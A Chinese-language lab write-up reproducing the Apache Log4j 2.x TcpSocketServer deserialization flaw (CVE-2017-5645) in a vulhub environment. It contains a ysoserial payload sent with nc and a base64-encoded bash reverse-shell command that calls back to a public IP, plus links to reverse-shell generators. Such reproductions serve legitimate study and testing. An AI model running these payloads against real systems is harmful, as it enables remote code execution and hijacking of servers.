本文作者:Taoing(Ms08067實驗室 SRSP TEAM 核心成員)
Apache Log4j Server 反序列化指令執行漏洞(CVE‐2017‐5645)
一、漏洞原理
Apache Log4j是一個用于Java的日志記錄庫,其支援啟動遠端日志伺服器。Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞。攻擊者可利用該漏洞執行任意代碼。
二、環境搭建
cd /vulhub/log4j/CVE‐2017‐5645
#進入環境目錄
docker‐compose build && docker‐compose up ‐d
#一鍵啟動漏洞環境
環境啟動後,将在4712端口開啟一個TCPServer。

除了使用vulhub的docker鏡像搭建環境外,還下載下傳了log4j的jar檔案後可以直接在指令行啟動這個
TCPServer:java ‐cp "log4j‐api‐2.8.1.jar:log4j‐core‐2.8.1.jar:jcommander‐1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer
無需使用vulhub和編寫代碼。
三、漏洞複現
payload
使用ysoserial生成payload,然後直接發送給your‐ip:4712端口即可。
java ‐jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE‐2017‐5645_is_succe ss" | nc your‐ip 4712
執行docker‐compose exec log4j bash進容器
可見 /tmp/CVE‐2017‐5645_is_success已成功建立:
四、反彈shell
工具推薦:
https://krober.biz/misc/reverse_shell.php
#線上生成反彈shell指令
http://www.jackson‐t.ca/runtime‐exec‐payloads.html
#指令編碼工具
java ‐jar ysoserial.jar CommonsCollections5 "bash ‐c {echo,YmFzaCAtaSA+JiAvZGV 2L3RjcC84LjIxMC4yMzUuMjQ5Lzk5ODggMD4mMQ==}|{base64,‐d}|{bash,‐i}" | nc 8.210.1 52.234 4712
shell到手
參考文章:
https://www.cnblogs.com/zaqzzz/p/12459999.htm
https://xz.aliyun.com/t/1909